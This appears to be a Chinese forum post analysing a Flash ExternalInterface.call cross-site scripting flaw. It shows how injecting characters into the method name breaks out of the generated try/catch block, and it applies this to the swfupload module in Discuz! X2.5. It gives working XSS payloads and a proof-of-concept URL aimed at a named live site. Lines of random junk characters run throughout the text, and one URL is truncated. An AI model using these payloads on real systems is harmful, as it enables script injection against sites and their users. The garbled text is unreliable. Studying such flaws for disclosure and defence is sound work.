上回我们说$ X4 r6 h* M' B3 F* P. U/ x
$ Y# n5 T H, k# _0 X( H: F* k
flash.external.ExternalInterface.call($methodName, $parameter)
C4 f; t6 J+ N在浏览器中执行的是
/ o( f& z8 e6 j, G
: U1 w- A7 _/ t- O6 Otry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
0 l$ ^* r0 h9 S# Y, @4 p对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
+ h1 R7 b3 q7 G; N
+ z) @* v3 B* O* Z9 S4 h5 Hflash.external.ExternalInterface.call("object."+$methodName, $parameter)# C. V* C: z' Q- h4 P0 ]
$methodName = a())}catch(e){alert(/xss/)}//7 u$ @( T L( {
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。1 y" \6 m8 ^% C& x2 K% _( e% h
0 m1 ]" V( a% f
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
- t8 D4 }* o5 s. C+ g; z8 K$ @
- Q ^& ] T2 u0 @$ g4 Y: a- |- `这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )5 X" O% F( F" R) T* \) ^0 ?
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
5 c6 l( W* j1 e2 u) I
4 `* r8 S5 S1 m2 q% `5 H; } r+ z" @( F
# p: X0 t) T5 E! M1 O% l4 U* z, j漏洞文件:upload\static\image\common\swfupload.swf
3 ^9 d4 B2 @) O: }0 J" Y# o- }5 S% W h# Z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
7 j0 T5 i$ ^; k6 `% ~
/ Y8 D& t4 s, z2 f7 I$ F) f% I' z4 o# y% x3 F
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}// u8 o: @3 \; y
* X" _% O& A! A ]* S7 a/ v. v
/ \, f4 q' }% s B* @' A |